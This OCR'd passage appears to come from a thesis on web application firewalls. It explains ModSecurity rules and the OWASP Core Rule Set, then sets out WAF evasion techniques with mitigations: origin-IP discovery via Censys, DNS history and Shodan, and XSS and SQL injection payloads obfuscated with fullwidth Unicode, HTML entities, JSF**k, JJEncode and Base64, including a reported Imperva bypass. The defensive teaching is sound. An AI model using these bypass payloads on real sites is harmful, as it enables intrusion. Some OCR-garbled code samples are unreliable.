<script> and <iframe> HTML tags because they could be part of an XSS attack
payload, instead of writing two separate rules, we can use a regular expression
matching

SecRule VARIABLES "@rx <script>|<iframe>" ACTIONS

Of course this was just a simple example to show the capabilities of regular expression
matching. However, writing regular expressions is a complex activity and it is really
easy to make mistakes, which, in the context of a web application firewall, could
mean a bypass.

The last thing to consider is that, by default, pattern matching is case-sensitive
in ModSecurity, so, to avoid bypasses that leverage on this it is strongly suggested to
make regular expressions case-insensitive using either the lowercase transformation
function, which we will see later, or the (7i) prefix in the pattern.
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@inspectFile can be used to execute an external LUA script for every variable
in the target list. This is particularly useful when the application has a file up-
load functionality to inspect the content of the uploaded file and determine if it is
malicious or not.

For example, if we want to allow only JPG files to be uploaded, we can write the
following LUA script

function main(filename)
—-- OPEN THE FILE
local file = io.open(filename, "rb")
if file then
—-— READ THE MAGIC BYTES
local magicBytes = file:read(3)
file:close()
—— CHECK IF THE MAGIC BYTES ARE DIFFERENT FROM THE JPG ONES
if magicBytes != "\xFF\xD8\xFF"
return "malicious"
end
return nil
end

This script performs a check on the magic bytes of the uploaded file, which are the
most reliable information to determine the file type. In this case, if the file is not a
JPG one, the following rule would be triggered

SecRule FILES_TMPNAMES "Q@inspectFile magicBytes.lua" ACTIONS

One important thing to remember is that the @inspectFile operator should not
be used with variables other than FILE TMPNAMES because it has been proven that
other variables such as FULL_REQUEST could allow an attacker to execute code on
the web server.

@ipMatch can be used in combination with the REMOTE_ADDR variable to block
requests coming from known malicious ips.

This operator can handle both IPv4 and IPv6 addresses and can be used as
follows

SecRule REMOTE_ADDR "@ipMatch 192.168.1.14" ACTIONS

to take appropriate actions on requests coming from a specific IP address.

Numerical operators such as @ge, @gt, @eq, @1t and @le can be useful to per-
form controls on, for example, the number of arguments of an HT'TP request.
We could, for example, write the following rule

SecRule &ARGS "@gt 50" ACTIONS

to perform appropriate actions on requests that have more than 50 arguments.

It is important to note that if the value of the provided variable can not be
converted to an integer, these operators will treat that variable as 0. This could
cause problems to the protected web application and even some bypasses.
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Actions

Once we determined on which variables the rule will operate and which operator it
will use to analyze them, the last thing we need when writing a ModSecurity rule
is the action that it will perform once triggered.

ModSecurity provides five different types of actions:

. Disruptive actions, which cause ModSecurity to do something that will have
a direct impact on the HT'TP transaction. In many cases, the disruptive action
will cause the HT'TP transaction to be blocked because an attack attempt has
been identified. Each rule can have up to one disruptive action.

. Non-disruptive actions, which cause ModSecurity to do something which
will not interfere with the rule processing flow. As an example, a non-disruptive
action could set or update the value of a variable.

. Flow actions, which change the rule processing flow. For example, we could
write a rule that, if triggered, will cause ModSecurity to skip the following n
rules for the current transaction.

. Meta-data actions, which are used to provide more information to the rules,
such as assigning them an id, a severity or a message to be inserted in the log
when the rule is triggered.

. Data actions, which are actually not actions but containers for data used by
other actions, such as the processing status.

Let’s now see some of the most important ModSecurity actions.

allow is a disruptive action that in its simplest form will stop the rule process-
ing for the current HTTP transaction and will allow it to proceed without further
inspection.

Of course, this action could be exploited by an attacker to bypass the WAF': the
attacker could craft a request that meets the conditions for which the rule will be
triggered to avoid inspection.

Because of this, this action can be configured to skip just a single processing
phase or just the request inspection phases.

block is the disruptive action used when a malicious request triggers a rule. This
action will immediately stop rule processing and will return an error code to the
client.

Actually, this is how this action is most commonly used, but if we read the Mod-
Security documentation we see that it will perform the action defined by the previous
directive SecDefaultAction. For this reason it is important, when using custom
ModSecurity configurations, to pay attention, because if the SecDefaultAction is
allow, the WAF will actually let every HTTP request through making the WAF
completely ineffective.
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phase is a meta-data action that can be used to specify in which of the 5 phases
the rule will be executed.

When using this action, it is crucial that we insert the rule in a phase in which the
variables examined by the rule are available, otherwise we could allow an attacker
to bypass the rule.

For example, if we need a rule to inspect the request body, we will insert it in
phase 2.

id is a meta-data action that is required by the SecRule directive that will assign
a unique numeric identifier to the rule.

Note that the id will just identify the rule and not the processing order: it is
possible that rules with higher ids will be executed before rules with lower ids.

setvar is a non-disruptive action that can be used to create, update or delete a
variable. This will be particularly important when we will see the OWASP Core
Rule Set in section 3.3

Transformation Functions

In section 3.1, we saw that one of the most important phases in the WAF analysis
process is the normalization one. In ModSecurity, this phase is achieved through
transformation functions, which are specified in the action part of a rule with the
following syntax

SecRule VARIABLES OPERATOR "t:TRANSFORMATION_FUNCTION, ..."

We will now see the most important transformation functions available in ModSe-
curity.

htmlEntityDecode can be used to convert the characters encoded as HTML
entities into one byte. This function is particularly useful for XSS attacks, because
an attacker could encode the <script> payload as HTML entities as follows

\&Lt; \&\#115;\&\#99; \&\#114;\&\#105; \&\#112;\&\#116; \&gt;

If the htmlEntityDecode transformation function is not present, this payload will
be let through by the WAF and will be converted back to its original form when
interpreted by the browser.

lowercase is a transformation function that transforms all the characters to low-
ercase. This is important if we want to have a case-independent detection.

If this function is missing, the attacker could use a payload like <ScrIpt> instead
of <script> to avoid detection.

urlDecodeUni can be used to convert url-encoded characters to Unicode ones.
As for the htmlEntityDecode function, this is useful to avoid bypasses that involve
encoding the payload.

If this function is missing, an attacker could obfuscate their <script> payload as
%3Cscript%3E which will avoid detection and will be converted back to its original
form when interpreted by the web server.
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utf8toUnicode can be used to convert every utf8 encoded characters back to
the Unicode representation. This is particularly useful for normalizing the input,
minimizing the amount of false positives and negatives.

When using normalization functions we need to pay attention to the order in
which they appear in the rule, because it will be the same order in which they will
be executed. Making mistakes in the order in which the transformation functions are
executed could result in bypasses. For example, let’s consider the following payload

%261t%3Bscript}26gt%3B

which is the <script> payload HTML-encoded and then URL-encoded. Let’s sup-
pose we have a rule like the following

SecRule ARGS "@rx <script>" "id:1000, deny, t:htmlEntityDecode, t:
urlDecodeUni"

As we can see, the transformation functions are in the wrong order, so the WAF
will analyze the following string

&lt;scripté&gt;

which will not be detected by the rule, resulting in a bypass.

In this section we saw how ModSecurity works and the most important features
needed to write rules to stop attackers. However, we have also seen that many er-
rors can be made that would allow an attacker to bypass the WAF. Fortunately,
there are many pre-built sets of rules to configure ModSecurity that leave the de-
velopers the only task to tune them on the application that needs to be protected,
avoiding a lot of mistakes. One of these sets is the Core Rule Set (CRS) developed
by the OWASP, which will see in section 3.3

3.3 OWASP Core Rule Set (CRS)

The OWASP Core Rule Set (CRS) is an open source collection of rules that can
be used to configure ModSecurity and many other Web Application Firewalls [17].
The rules in CRS are designed to protect against many of the security risks in the

OWASP Top 10. In this section we will explain the most relevant features of the
CRS.

3.3.1 Anomaly Scoring

To decide weather an HTTP transaction is malicious or not, the Core Rule Set
uses a mechanism called anomaly scoring. Basically, this means that every HT'TP
transaction is assigned an anomaly score which represents how strange, and possibly
malicious, the transaction is. This score can then be compared to a threshold to
make blocking decisions [18].

The important thing to understand is that CRS rules designed to detect attacks
do not take disruptive actions when triggered, but they add a number to the anomaly
score based on how severe the anomaly is considered, which will then be compared
to the specified threshold in the blocking evaluation phase, which happens two times
in a complete HTTP transaction:
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1. When all the rules inspecting the request are executed.
2. When all the rules inspecting the response are executed.

For this reason the CRS let’s us specify a threshold for the anomaly score of the
request, also called inbound anomaly score, and one for the anomaly score of the
response, also called outbound anomaly score.

If in one of the two phases the anomaly score is higher that the defined threshold,
the transaction is denied, otherwise it is let through. To understand better how this
mechanism works, we can look at Figure 3.3. Because of how this mechanism works,

HTTP request

m -8 -3 -3 -

Anomaly score
Inbound anomaly
score threshold: 5
Rule severity Rule 1 Rule 2 Rule 3 Blocking
Result CRITICAL NOTICE NOTICE evaluation
NO MATCH NO MATCH MATCH (Add 2) PASS
B -3 -3 - @3 X
Inbound anomaly
score threshold: 5
Rule 1 Rule 2 Rule 3 Blocking
CRITICAL NOTICE NOTICE evaluation
MATCH (Add 5) MATCH (Add 2) NO MATCH DENY

Figure 3.3: Anomaly Scoring Example. Source: https://coreruleset.org/docs/concepts/an
omaly_scoring/as_inbound_no_fonts.svg

we need to be particularly careful about assigning correct values to the thresholds
and configuring correctly the severity levels.

By default, each CRS rule has one of four severity level associated with it, which
determines the number that will be added to the anomaly score when the rule is
triggered. The four severity levels are:

« Critical, which has a default anomaly scoring of 5.
. Error, which has a default anomaly scoring of 4.

« Warning, which has a default anomaly scoring of 3.
. Notice, which has a default anomaly scoring of 2.

This means that if a rule with a critical severity level is triggered, the anomaly
scoring will be incremented by 5 points using the setvar ModSecurity action.
While it is possible to modify the default anomaly scores for the severity levels
as well as introducing new ones it is strongly discouraged because it could lower the
detection capabilities (if the scores are lowered) or cause problems with the usage
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of the application (if the scores are incremented).

Once we know the various severity levels we can configure the anomaly score thresh-
olds. The suggested value is 5, so that if a single critical severity rule is triggered the
whole transaction will be denied. As for severity levels, incrementing the thresholds
values will lower the detection capabilities, possibly allowing some bypasses, while
decrementing it could cause some problems in the normal usage of the application.

3.3.2 Paranoia Levels

Another important property that needs to be configured when using the Core Rule
Set is the paranoia level, which makes it possible to define how aggressive the CRS
is in detecting possible attacks [19].

Very aggressive rules
False positives likely

Less aggressive rules

@ False positives rare

Figure 3.4: CRS Paranoia Levels. Source: https://coreruleset.org/docs/concepts/parano
ia_levels/

In practice, the paranoia level defines the number of rules that are executed:
the lesser the paranoia level is, the lesser is the number of rules executed. The
lowest paranoia level (PL1) is the most reliable in terms of false alarms, but it
is the one with the highest probability of an attack being undetected. On the
other hand, the highest paranoia level (PL4) is the most reliable in terms of attack
detection (it is virtually impossible for an attacker to be undetected), but it could
cause problems with the normal usage of the application because it could stop even
perfectly legitimate HTTP transactions.

Choosing the appropriate paranoia level highly depends on the role of the web
application protected and the amount and sensitivity of the information it manages.
As a guideline:

. Applications that don’t deal with personal data should be put to paranoia
level 1.

. Applications that deal with personal data such as names and addresses of the
users should be put to paranoia level 2.
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. Applications that manage sensitive information such as credit cards should be
put to paranoia level 3.

. Paranoia level 4 should be used only if the application deals with highly sen-
sitive or classified information.

It is important to remember that choosing the paranoia level is not the end of
the job: once the WAF has been configured constant monitoring and testing are
of utmost importance to both tune away any false positive (especially with high
paranoia levels) and verify if the attack detection capabilities are enough for the
application we want to protect (especially for low paranoia levels).

The last key point to take into consideration is that paranoia levels and anomaly
scoring thresholds are two completely different things: the former regulates the num-
ber of rules executed for every HTTP transaction, while the latter determines how
many rules must be triggered for an HTTP transaction to be blocked.

Coming to the end of the chapter, we have a deeper understanding on how a Web
Application Firewall works and we have seen the most important features to config-
ure ModSecurity and the Core Rule Set. We have also seen that configuring a WAF
is not a simple activity and it requires a lot of attention and time to avoid errors
that could lead to bypasses. Unfortunately, many times developers do not have the
time or the skills necessary to configure a WAF properly and this is why attackers
are still able to bypass its protection and exploit vulnerabilities in the application.
In Chapter 4 we will see some of the most common techniques to bypass a Web
Application Firewall along with some real world examples.
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CHAPTER 4

WAF EVASION TECHNIQUES

In Chapter 3 we introduced Web Application Firewalls and we saw how they can
be used to protect a vulnerable web application while waiting for the developers to
patch the existing vulnerabilities. While using a Web Application Firewall is a good
way to increase the security level of web applications, this doesn’t guarantee that
attackers won’t be able to exploit vulnerabilities for two reasons:

. WAFs aren’t able to protect against all kinds of attacks, as we will see in
Chapter 5.

. If the WAF is not perfectly configured, attackers may be able to bypass its
protection.

In this chapter we will explain some of the most common and useful techniques
to bypass a Web Application Firewall. It is important to note that the list of
techniques highlighted in this chapter is not an extensive one, as explaining every
possible technique would be virtually impossible, especially considering that the
methods used to bypass a WAF are highly dependant on its technology and its
configuration.

4.1 Finding The Server’s Real IP Address

In order to understand this bypass technique, we need to have a quick reminder
on the DNS protocol. When we use our web browser to access a website we use
its common name, such as www.polito.it or www.google.com. However, in order
to contact the corresponding web server and ask for the main page, our browser
needs its IP address, which is a unique identifier for a device on the internet. The
translation between the common name and the IP address is done through the DNS
(Domain Name System) protocol. So, if we visit www.polito.it, our web browser
will:

1. Connect to a DNS server, which keeps the correspondence between common
names and [P addresses, asking the IP address associated to www.polito.it.

2. Receive the web browser’s IP address from the DNS server, such as 216.58.204.

3. Initiate an HTTP transaction with the web server using the IP address re-
ceived.
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4.1.1 The Bypass

In Chapter 3 we saw that a Web Application Firewall is often configured as a reverse
proxy for the web server to protect. This means that all the HTTP requests from
the users should be analyzed by the WAF before being forwarded to the web server.
But it also means that the server on which the WAF is running and the web server
hosting the web application have two different IP addresses.

This is why, to ensure that the WAF is effective, it is crucial to correctly configure
the DNS resolution. In particular, it is essential that the common name of the web
application we need to protect is translated to the IP of the server acting as a reverse
proxy on which the WAF is running. This guarantees that users will never directly
connect to the web server, but always to the WAF, which will then be able to analyze
all HT'TP transaction to decide if they are legitimate or not. The reverse proxy will
then be configured to forward legitimate requests to the web server and send back
the responses to the users.

Unfortunately, correctly configuring the DNS resolution isn’t enough to ensure
that every HT'TP transaction is analyzed by the WAF. To better understand this,
let’s take a look to Figure 4.1.

104.28.14.63 B0.40.10.22

ORIGIN
CLIENT

€2

Figure 4.1: WAF bypass connecting directly to the web server’s IP Address. Source: https:
//kalilinuxtutorials.com/wp-content/uploads/2019/02/WAF-1024x446.png

Let’s suppose we are in the following situation:
. We want to protect the www.polito.it website.
. The web server hosting the application has the IP address 80.40.10.22.
« The reverse proxy on which the WAF is running has the IP address 104.28.14.63.

« The DNS is correctly configured to translate www.polito.it to the WAF’s IP
address.

This configuration ensures that, if a DNS resolution happens, the HT'TP transac-
tions will be analyzed by the WAF. However, there are several techniques that let
attackers find the web server’s IP address allowing them to bypass DNS resolution.
In this example, if the attacker is able to find out that the web server has the 1P
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address 80.40.10.22, they can directly connect to it, entirely bypassing the WAF
protection.

There are a lot of different techniques that attackers can use to reveal the web
server’s real IP address in order to bypass the WAF.

Reconnaissance

The first thing to do when searching for the real server’s IP address is understanding
the target’s infrastructure. One of the most powerful tools that can be used to
achieve this goal is Censys!, a search engine that periodically gathers information
on publicly accessible devices and web servers and enables searching for it in order
to map the target organization’s network.

In this particular case, an attacker could use Censys to find the IP address
of the web server running the web application to bypass the WAF. Let’s consider
for example that we are targeting the www.polito.it website, which is protected
by a WAF. The first thing we would do is performing a Censys search to gather
information about the target. Figure 4.2 displays the search results.

CeNSYS  Qrosts v & | wmwpolitoit x & 5 m °

i= Results sl Report & Docs & Subscriptions
Host Filters Hosts
Resultsi702 Time: 0.475
Labels:
386 remote-access 130 (emcsrv2.polito.it)
39 login-page ASGARR Consortium GARR (137) Piedmont, Italy
25 file-sharing 80/HTTP A43/HTTP
24 network device
23 printer . X
@ More J130 {owncloud.polito.it)
Debian Linux ASGARR Consortium GARR (137) Piedmont, Italy
Autonomous System: 8080/HTTP 9090/HTTP
677 ASGARR Consortium
GARR D130 {lepiot.polito.it)
7 MICROSOFT-CORP-
MSN-AS-BLOCK Microsoft Windows ASGARR Consortium GARR (137) Piedmont, Italy
4 AMAZON-02 500/IKE 723/PPTP 5357/HTTP 8081/UNKNOWN
3 WORLDNETS-10 -
2 DIGITALOCEAN-ASN J130 (serverimg2_polito.it)
@ More Ubuntu Linux 20.04 ASGARR Consortium GARR (137) Piedmont, Italy
Location: (remote-access)
580 Haly 22/8SH 7443/HTTP
6 United States .
4 Netherlands 130 mail.polito.it)
3 France Linux ASGARR Consortium GARR (137) Tuscany, Italy
3 Germany (email)
More
8 80/HTTP A43/HTTP 993/IMAP 995/POP3
Service Filters
130 ~ (mx.polito. it)
Service Names: - (mx.p )
Linux ASGARR Consortium GARR (137) Piedmont, Italy
1,014 HTTP —
(email )
394 SSH —
100 UNKNOWN
23 IPP
22 SMTP 2130 (mp4.polito.it)
& More

Ubuntu Linux ASGARR Consortium GARR (137) Piedmeont, Italy

Figure 4.2: Censys search for www.polito.it. IP addresses have been obscured for privacy reasons

As we can see, this search gave us 702 different IP addresses. The next step would
be trying to connect to each IP address to look for the target website. If one of these
web servers returns the same page that we would get connecting to www.polito.it,
then we would have found the web server’s IP address. Note that this example
was used only to demonstrate how an attacker could use a tool like Censys to find
the web server’s real IP address, but in this specific case it doesn’t lead to a WAF

"https://search.censys.io/
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bypass. However, this technique has proven successful to bypass Cloudflare?, a
popular cloud-based WAF solution [20].

One important thing to consider is that in some cases the IP address shown by
Censys is the one of the reverse proxy on which the WAF is running. If this is the
case, then we would probably receive an error when connecting using the IP address
directly and we would have to use a different technique to find the web server’s real
IP address.

DNS History

One important thing to consider when targeting a web application protected by a
Web Application Firewall is that the WAF could have been configured after the
application was made public. For example, a company could have decided to deploy
a WAF to protect an application after a successful attack.

This means that there was a point in time when the website’s common name
resolved to the web server’s IP instead of the WAF’s. An attacker could leverage
upon this to find the web server’s real IP address.

Some common tools that can be used to consult DNS history are Security Trails®
and Netcraft*. For example, let’s imagine that the website www.polito.it is pro-
tected by a Web Application Firewall, an attacker could search DNS history to see
if there was a moment in time in which the WAF was not configured.

Figure 4.3 shows DNS historical data for www.polito.it.

www.polito.it historical A data

A

130 100 Consortium GARR 2022-12-16 (1 year) 2024-03-04 (today) 1 year

130 193 Consortium GARR 2017-09-29 (6 years) 2022-12-16 (1 year) 5years

Figure 4.3: DNS History for www.polito.it from Security Trails. IP addresses have been redacted
for privacy reasons

As we can see, on December 16, 2022, the IP address associated to the common
name www.polito.it changed. From an attacker perspective this could represent
the moment in which the WAF was configured, so the IP address used until that
day could be the web server’s one. Now the attacker just has to confirm this by
connecting to the old IP address to see if he gets back the home page of the original
website. In that case, he found a way to bypass WAF protection entirely.

Note that this example was used just for demonstration purposes on how to consult
DNS history for a website and how an attacker could use it to bypass the WAF. For
the website considered, this technique doesn’t lead to a bypass.

’https://www.cloudflare.com/
3https://securitytrails.com/
‘https://sitereport.netcraft.com/
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TLS Certificates

Another useful source of information that can be used to try to discover the web
server’s IP address are TLS certificates.

A TLS certificate is a data structure that is used to determine the authenticity of
the server we are establishing an HTTPS (HTTP Secure) connection with. Among
the fields of a TLS certificate there is the Subject Common Name (CN) which iden-
tifies all the websites for which the certificate is valid. As an example, Figure 4.4
shows the TLS certificate for www.polito.it.

Certificato

www.polito.it

Nome soggetto

Paese
Stato/provincia
Organizzazione

Nome comune

Nome autorita emittente

Paese
Organizzazione
Nome comune

Validita

Non prima
Non dopo

Nomi alternativi soggetto

Nome DNS
MNome DNS

GEANT OV RSA CA 4

IT

Taorino

Politecnico di Torino
www.polito.it

NL
GEANT Vereniging
GEANT OV RSA CA 4

Fri, 26 Jan 2024 00:00:00 GMT
Sat, 25 Jan 2025 23:59:59 GMT

www.polito.it
polito.it

USERTrust RSA Certification Authority

Figure 4.4: www.polito.it TLS Certificate

The information about the Common Name associated to the TLS certificate can be
used to search for every web server using the same CN and possibly reveal the target
web server’s real IP address.

This search can be achieved using Shodan®, a tool similar to Censys that let’s
us search for specific information. In this case we can use the following query:

ssl.cert.subject.cn:"polito.it" 200

Shttps://www.shodan.io/
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which will search for every web server having a certificate with the subject common
name set to polito.it or its subdomains that responds with 200 0k to a GET HTTP
request [21].

The results of this search are shown in Figure 4.5.

'. SHODAN Explore Downloads Pricing @ ksl.cert.subject.cn:"polito.it* 200 n

29

TOP ORGANIZATIONS ¢ Server in manutenzione [/ 2024.03.07T13:04:41.035697
o ; & SSL Certificate HTTP/1.1 200 0K
closone ol Jssued By ate: Thu, 07 Mar 2024 12:59:54 GHT
Politecnico di Torino 3 © - Common Name: e
1 taly, Turin

© I Organzaton

&% View Report I View on Map

Access Granted: Want to get more out of your existing Shodan account? Check out everything you have access fo.

POLI-Torino 26

TOP PR TS

Apache httpd 15

Issued To
nginx 9 I Common Name:
calos.one.polito.it
EZproxy web prox 1
proxy web proxy Supported SSL Versions:
TLSV1.2, TLSV13

Diffie-Hellman Fingerprint
RFC3526/0akley Group
14

7 130, 2207 2024-03-07T08:45:22 897267
apolito.it & SSL Certificate HTTP/1.1 200 OK
Issued By Date: Thu, 07 Mar 2024 08:49:36 GHT
| Common Name: Server: Apache/2.4.6 (Cent0S) OpenSSL/1.8.2k-fips
P

B taly, Turin

Figure 4.5: Shodan search for common name polito.it. IP addresses have been redacted for
privacy reasons

As we can see, we have 29 results of web servers and the corresponding IP addresses.
The last thing we would need to do would be to try every IP address to verify if one
of them is the one of the target web server. As with other examples, this was used
just to show how a tool like Shodan can be used to search for the web server’s real
IP address, but in this specific case it doesn’t lead to a bypass.

4.1.2 The Mitigation

The techniques we have seen to find the web server’s real IP address when it is
hidden and protected by a WAF configured as a reverse proxy are just a subset of
all the possible methods that can be used.

An important aspect that needs to be taken into consideration to create a mit-
igation for this kind of bypass is that all the techniques we have seen use publicly
available information and they do not require the attacker to interact with the tar-
get web server. This means that it could be really difficult to avoid an attacker
discovering the web server’s real IP address. So, the best mitigation for this bypass
is making it impossible for an attacker to connect directly to the web server using
its IP.

The best way to do this is to whitelist the reverse proxy IP (or IPs). This means
that our server will refuse any HT'TP connection coming from a different IP than the
WAF’s one. Returning to the example shown in Figure 4.1, our server should accept
HTTP connections only if they come from the IP 104.28.14.63. If the attacker,
which will have a different IP that the WAF’s one, will try to directly connect to the
server, the connection will be refused and they will have to try a different technique
to bypass the WAF.
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4.2 Payload Obfuscation

In Chapter 3 we highlighted the importance of the normalization phase when ana-
lyzing HTTP transactions to avoid the attacker bypassing the WAF by encoding the
payload. While the normalization phase is usually very effective for simple and well
known encodings such as URL-encoding or HTML-encoding, some Web Application
Firewalls are not able to identify and decode some lesser known encoding techniques.

4.2.1 Unicode Compatibility

Unicode Compatibility is a form of normalization for Unicode characters which trans-
forms different visual character representations to the same abstract character. For
example, the Unicode character . would be normalized to L [22].

This can be particularly dangerous if the web server performs this kind of nor-
malization, but the WAF doesn’t. Let’s consider for example the basic SQL injection
payload:

> or 1=1--

If the WAF is correctly configured and contains a rule to block SQL injection attacks
this payload will very likely be flagged as malicious. However, if the WAF doesn’t
implement Unicode Compatibility normalization, the payload shown in Figure 4.6
would be let through because it is not recognized as malicious as the characters,
even if they look the same, use a different UTF-8 encoding than the normal payload
ones, so the WAF isn’t able to understand them.

' or 1=1- -

Figure 4.6: Fullwidth encoding of the SQL Injection payload

On the contrary, if the server performs Unicode Compatibility normalization, the
payload shown in Figure 4.6 will be translated to the original one and then passed
to the vulnerable SQL query, resulting in a correct exploitation of the vulnerability
regardless of the presence of the WAF, so a bypass.

The Mitigation

To avoid this bypass it is important that, during the normalization phase, the WAF
performs Unicode Compatibility normalization in order to be able to analyze the
payload in the same form as it will be then used on the server. For example, this
can be achieved in ModSecurity using the utf8toUnicode transformation function.

4.2.2 Javascript Obfuscation

In chapter 2 we introduced XSS (Cross-Site Scripting) vulnerabilities and we saw
that they allow injecting Javascript code inside an application, which is the executed
by the browser of the victim user and it can be used to steal sensitive data such as
access tokens, data structures used to prove that the user successfully logged in. This
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represents a big problem for the application because it would allow an attacker to
access the application as if they were another user, which means accessing sensitive
data and potentially disrupting the application behaviour.

In order to exploit an XSS vulnerability attackers have to use Javascript func-
tions. In most cases, the alert(’XSS’), which, when executed, produces a result
similar to the one shown in Figure 4.7, is used to prove that the application is vul-
nerable.

& file:s

XSS5

D Impedisci a questa pagina di richiedere ulteriori conferme

Figure 4.7: XSS using alert (’XSS’) function

Web Application Firewalls are able to recognize Javascript functions used as an XSS
payload and, in most of the cases, they are able to stop them. However, attack-
ers can use different forms of obfuscation and encoding that could make the WAF
protection ineffective.

We already have seen the HTML-encoding technique, which would transform
the payload alert(’XSS’) to

S#x61 ; &H#x6C; &#xO5; &#xT2; &#xT4A ; &#x28 ; &#x27 ; &#x58 ; &#x53 ; &#x53 ; &#x27 ; &#
x29;

If the WAF doesn’t perform HTML-decoding during the normalization phase, this
could be enough to bypass it. Fortunately, it is really uncommon to see modern
WAFs being bypassed using just HTML-encoding. This is why attackers may use
lesser known techniques to obfuscate Javascript code.

JSF**k is a peculiar Javascript encoding technique that uses only six characters
to write and execute code. The six characters are: [, ], (, ), ! and + [23].
In particular:

« The [] brackets are used to create arrays and accessing their values.

« The () brackets are used to call functions and pass them the parameters they
need.
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« The + sign is used to create numbers and strings and to add values or con-
catenate strings.

. The ! sign is used to create boolean values true and false, which can then
be converted to strings to have access to the characters composing the words.

To better understand how this encoding works, let’s try to use it to obtain the first
letter of the alert(’XSS’) function, so ’a’. One way this can be done is treating
the word false as a string, and accessing the second character, which in Javascript
can be done using the following syntax:

"false" [1]

Now, we need a way to encode the index 1. We know that:
. +[] evaluates to the number 0.

. It is possible to insert an expression inside and array and then access its
element at index O to obtain the result. This means that [++[X] [0]] [O]
evaluates to X+1

So, to represent the number one we can use the syntax:

++[ [0 10+0 1]
The final thing we need to do is obtaining the string representation of false. We
know that:

« !'[] evaluates to the boolean value false.

. Adding +[] will turn previous values to strings.

So, to obtain the string "false" we can use the syntax:
1] +(]
Finally, we can combine everything to obtain the letter ’a’:

0 +0 0010 +0 1]

Now, we just need to repeat this process for every character of our payload to obtain
its JSF**k encoding.

This kind of obfuscation is lesser known that HTML-encoding, so it is more
likely that it would work to bypass the WAF protection when trying to exploit an
XSS vulnerability. For example, a similar technique was used to bypass the Imperva
WAFS, as reported by TechAnarchy [24].

In the report, we see that the tested application had an XSS vulnerability in the
search URL parameter. However, Imperva blocked the payload:

<script>console.log("XSS")</script>

as shown in Figure 4.8.

Shttps://www.imperva.com/products/web-application-firewall-waf/
"https://www.techanarchy.net
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Access Denied

Error code 15

This request was blocked by the security rules

2020-02-05 21:39:33 UTC

Your 1P | Proxy 1P () (ID 10867-100)

Incident ID: 867001160028999667- «

Powered by im pe rva.

Figure 4.8: Basic XSS payload blocked by Imperva. Source: https://www.techanarchy.net/co
ntent/images/size/w1000/2021/02/56£56£291f497eb18499332e7£71698043e68a73b-imperva
-block.png

The report than explains how it was possible to use the payload:
<code onmouseover="new hello;">test</code>

which executes the Javascript code inside "" when the user passes the mouse over the
HTML element code, but the WAF still blocked the payload when using Javascript
functions such as alert("Hello, JavaScript" ).

However, encoding this payload using JJEncode®, a similar obfuscation technique
as JSF**k, which differs only for the symbols used, proved successful to bypass
Imperva and exploit the XSS vulnerability, as shown in Figure 4.9. After encoding,
the payload is:

$="01;8={___:++8,888$: (L [I+"") [$], __$:++8,8_8_: (L [1+"") [$], _$_:++8,
$_83: ({3+"")[8],88_8: (S[81+"") [$], _$$:++8,83_: (1""+"") [$],$__:++
$,8_8:++8,88__: ({F+"")[$],83_:++8,883:++8,8___:++8,8__$:++8};8.8_
=(3.$_=8+"")[$.8_81+($._$=3.3_[$.__3$D)+($.83=($.$+"") [$. __$D+(!
$)+")[$. _$31+($.__=3.$_[$.33_D+($.$=C1""+"")[$.__$1)+($._
=) 8. 8 1)+3.8_[8.8_8]+8.__+8. _$+8.8;8.88=8. 5+ (1 ""+"") [$.
_$3]+8.__+8. _+8.3+8.88;8.8=(8. __)[$.8_1[$.8_1;8.3(8.8($.83+"\""+
$.8_ 3 +C1II+"")[8. _$_1+8.88_+"\\"+3. __$+8.83_+8. _$_+3$.__
HTONN\N"+$. __$+8. __$+8.___+3.885_+C1 [1+""[$._$_ 1+ [J+"") [$.
SIS S ANNHE LS. AMANHEL S+ 848 S +3.8_$_+"\\"+8$.
__$+3.88_+3. 33 _+8.$_F_+"\\"+3. __$+$. _$_+8. _$3+$.88__+"\\"+$. __$+8

8https://pferrie2.tripod.com/papers/jjencode.pdf
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BE_ A S HMN\HE.L __$+E. S _$+8. __F+"\\"+E. __$+8. 88 _+3.___+$.__
+u\\\u\\n+$.$-_+$.-__+u)u+u\nu)())();

p%200nmouseover=%27p%3D~%5B%5D%3Bp%3D%7B__ %3A%2B%2B... & s}l

Console Sou
r jults” class="ar

lew-switch">.</u
earch-results s

m search-results
t find any resu
span

p onmouseover="p=~[]:p=
. $ :++p,$_88: ({}+"")[p]
++p,$_$:++p, 85 : ({}+"7)
(p.$_=p+"")[p.$_$]1+(p._$
(p.__=p.% _[p.5%_])+(p.3=
+p._ +p. $+p.%;p.5%=p.%+
[p.5_]:ip.S(p.5(p.SS+"\""
+p.58% +"\\"+p._ S$+p.3%S
+) P S )+ (114" [P
+p._ S+ \\"+p.§_ +p.  +
.5 8 +"\\"+p.__$+p._S_+p
_$HU\\"4p._ $4p.SS_+p._

try again.</p> == $0
Jdiv

Hello, JavaScript

Figure 4.9: Imperva Bypass using JJEncode. Source: https://www.techanarchy.net/content/
images/2021/02/javascript_xss.png

The Mitigation

To prevent these encodings to be successful in bypassing the WAF, it is possible to
proceed in two ways:

1. Write a rule that is able to identify JSF**k and JJEncode encoded payloads
and stop them.

2. Write a normalization function that decodes JSF**k and JJEncode encoded
payloads before executing the rules.

For example, the Core Rule Set contains a specific rule to stop JSF**k encoded
payloads, which is shown in Figure 4.10.

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_MNAMES|ARGS_MAMES|ARGS |REQUEST_FILENAME [XML:/* “"@rx ![!+ 1V[WI" \
"1d:941368,\
phase:2,\
block,?
capture,,
t:none,\
msg: ' ISFuck / Hieroglyphy obfuscation detected',®
logdata: 'Matched Data: Suspicious payload found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'attack-xss',\
tag: 'xss-perf-disable’',’
tag:'parancia-level/1',%
tag: "OWASP_CRS',\
tag:'capec/1888/152/242/63",%
ver: "OWASP_CRS/4.8.1-dev',\
severity: "CRITICAL',Y
setvar: 'tx.xss_score=+¥%{tx.critical_anomaly_score}',\
setvar: 'tx.inbound_anomaly_score_pll=+%{tx.critical_anomaly_score}'"

Figure 4.10: CRS rule to stop JSF**K encoded payloads
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4.2.3 Base64 Encoding

Another way attackers can use to obfuscate their payloads and avoid being detected
by WAFs is Base64. Base64 is a binary to text encoding that takes 6 bits at a time
from the source and maps them to one of 64 unique characters [25].

For example, the XSS basic payload:

<script>alert(’XSS’)</script>
can be base64 encoded to:
PHN j cm1wdD5hbGVydCgnWFNT Jyk8L3N j cmlwdD4=

This encoding is particularly useful to bypass a WAF, since without decoding the
payload it is impossible to recognize it as an XSS payload. Of course, in order for
the payload to be effective in exploiting the vulnerability, it needs to be decoded by
